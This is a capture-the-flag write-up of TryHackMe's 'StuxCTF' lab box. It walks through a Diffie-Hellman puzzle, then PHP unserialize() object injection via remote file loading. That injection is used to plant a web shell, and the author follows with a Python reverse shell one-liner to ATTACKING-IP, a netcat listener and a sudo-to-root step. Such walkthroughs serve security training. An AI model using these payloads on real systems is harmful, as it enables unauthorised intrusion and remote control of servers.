Today we will be tackling a medium box, TryHackMe’s “StuxCTF”.
Recon
The first thing I did on this box was fire up a nmap
scan in the background (that wasn’t used in the end) and open the IP in a browser to see if it was hosting anything. As expected there was a webpage here but nothing appears interesting until we inspect the page and see that some comments were left in the HTML.

<!-- The secret directory is... p: 9975298661...; g: 7; a: 330; b: 450; g^c: 6091917800...; -->
Cryptography
Coming from a cryptography background I immediately identified this as the setup for a Diffie-Hellman key exchange. In this case we have a generator (g
), a prime number (p
), and two secret keys (a
and b
). We also have another value g^c
which I didn’t quite understand at first.
Essentially Diff-Hellman allows the creation of a shared secret key between parties over an insecure channel where even if you could eavesdrop on the communication it would be mathematically implausible for a listener to recreate the secret. I invite you to read the Wikipedia page about this but to cut to the chase essentially we are abusing the following exponent rule:
(a^m)^n = a^mn
so by making up and sharing a generator g
and then putting it to the power of our secret key a
before sharing it, the other party can get end on the same number as us by taking the number we share with them, g^a
, to the power of their own private number b
getting g^ab
. We never actually share a
or b
. I won’t go into detail as to why but in order for this to be secure we also need to mod our number after each step by a large prime number that is public knowledge (p
).
What tripped me up about this problem is that we are actually doing Diffe-Hellman with more than two parties. The last value we are given is g^c
which has already been mixed with the generator. (c
being the private key of our third party)
Using what we have, we need to solve for g^abc
, our final shared secret. Here’s how you do that using Python’s interactive mode.
┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ python
Python 3 (main) [GCC] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> # Define all the variables we've been given
>>> p=9975298661...
>>> g=7
>>> a=330
>>> b=450
>>> g_c=6091917800...
>>> # Solve for g to the power of abc mod p
>>> g_ac=pow(g_c,a,p)
>>> g_abc=pow(g_ac,b,p)
>>> g_abc
47315...76839
If we look at the hint given to us for this CTF, we see that we only need the first 128 characters
What is the hidden directory?
HINT: g ^ a mod p, g ^ b mod p, g ^ C mod p
first 128 characters …
>>> str(g_abc)[:128]
'47315...55055'
This is our hidden directory.
Getting a Foothold
Navigating to the directory we just solved for takes us to the following page:

Another hint in the HTML comments
<!-- hint: /?file= -->
Seems like we can get files here. Trying to navigate to /?file=user.txt
or attempting some directory traversal to get out of /var/www/html
via /?file=../../../etc/passwd
results in the same page:

Since it seems that we aren’t going to get away with an easy win here let’s change tact. It doesn’t seem like we can grab any files from outside wherever this page lives in the filesystem. It would really help to know how and what is actually happening behind the scenes.
Let’s see if we can’t get index.php
by passing /?file=index.php

Great. This looks like hexadecimal, so let’s throw it in CyberChef to decode it:

These are definitely base64 characters, but valid base64 strings don’t start with =
, they can only end with it. Let’s try reversing it to see if that will give us anything readable:

This looks like the index file we were looking for. Here is it cleaned up to just the php
elements:
error_reporting(0);
class file {
public $file = "dump.txt";
public $data = "dump test";
function __destruct(){
file_put_contents($this->file, $this->data);
}
}
$file_name = $_GET['file'];
if(isset($file_name) && !file_exists($file_name)){
echo "File no Exist!";
}
if($file_name=="index.php"){
$content = file_get_contents($file_name);
$tags = array("", "");
echo bin2hex(strrev(base64_encode(nl2br(str_replace($tags, "", $content)))));
}
unserialize(file_get_contents($file_name));
That explains why the formatting on index.php
was so cursed. Taking a look at what is going on here, it looks like for any file that isn’t index.php
has it contents loaded and directly unserialized. The php documentation directly warns about this.
Warning
Do not pass untrusted user input to unserialize() regardless of the
options
value ofallowed_classes
…
There is already a definition for file here which has a destructor that saves anything in $data
to $file
. Assuming that we can pass some malicious or otherwise vulnerable objects here, we should be able to get the web-server save whatever is inside it.
First let’s see if we can load in our own files by hosting a http
server and serving up a dummy file:
┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ touch dummy.txt
┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
and now querying /?file=<Local IP>/dummy.txt
<Box IP> - - [02/Feb/2025 10:53:15] "GET /dummy.txt HTTP/1.0" 200 -
Thankfully for us it was configured to accept external files and seems to have fetched our dummy file.
Now that we know that works, let’s make our own malicious file
object and serialize it:
<?php
class file {
public $file = "test.php";
public $data = "<?php echo 'vuln' ?>";
}
print serialize(new file);
?>
php malobj.php > malobj.txt
gives us
O:4:"file":2:{s:4:"file";s:8:"test.php";s:4:"data";s:20:"<?php echo 'vuln' ?>";}
Now if we go ahead and query for our malobj.txt
just like the dummy text from before and navigate to test.php
we see the following:

Jackpot!
Getting a Shell
webshell
Since we can run whatever we want let’s go ahead and upload a webshell. Here is our new PHP object:
<?php
class file {
public $file = "wshell.php";
public $data = '<?php system($_GET["cmd"])?>';
}
print serialize(new file);
?>
Uploading the same way as above, we can now query /wshell.php?cmd=whoami
and see the following:

reverse shell
We’re in. At this point we could go looking for the flag right away, but instead I would like to get a more interactive reverse shell going. Let’s go ahead and start a netcat
listener:
nc -lvnp 1337
By executing which python
you can see that python
is on this server, so we can execute a python
reverse shell (from this cheatsheet) and then connect to it:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
URL encoded to
python%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22ATTACKING-IP%22,1337));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22/bin/sh%22,%22-i%22%5D);'
Giving us a hit:
┌──(kali㉿kali)-[~/Desktop/thm/StuxCTF]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [Box IP] from (UNKNOWN) [Local IP] 49556
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$
upgrading
The last thing I would like to do before hunting for flags is upgrading this dumb shell to something that allows for backspaces and auto completion. Since we already know we have python
on the system this should be easy.
python -c 'import pty; pty.spawn("/bin/bash")'
Then, background the shell with ctrl + z
stty raw -echo; fg;
and just press enter for a much more sane experience.
user.txt
Browsing on over to the home directory we can quickly find and read the user.txt
file.
www-data@ubuntu:/$ cd /home
www-data@ubuntu:/home$ ls
grecia
www-data@ubuntu:/home$ ls grecia/
user.txt
www-data@ubuntu:/home$ cat grecia/user.txt
root.txt
The first thing I did on this machine was run sudo -l
to see what sudo
permissions our user has.
www-data@ubuntu:/$ sudo -l
Matching Defaults entries for www-data on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on ubuntu:
(ALL) NOPASSWD: ALL
Yikes! Looks like we have permission to do anything we want without a password. Let’s abuse this by switching over to the root user and grabbing it’s flag.
www-data@ubuntu:/$ sudo su
root@ubuntu:/# cd
root@ubuntu:~# ls
root.txt
root@ubuntu:~# cat root.txt
I was promised “priv scalation” but I guess so much for that. :/
Thank you for reading my writeup! If there’s anything I left out, didn’t catch, or you have any questions/comments let me know below! See you next time 🙂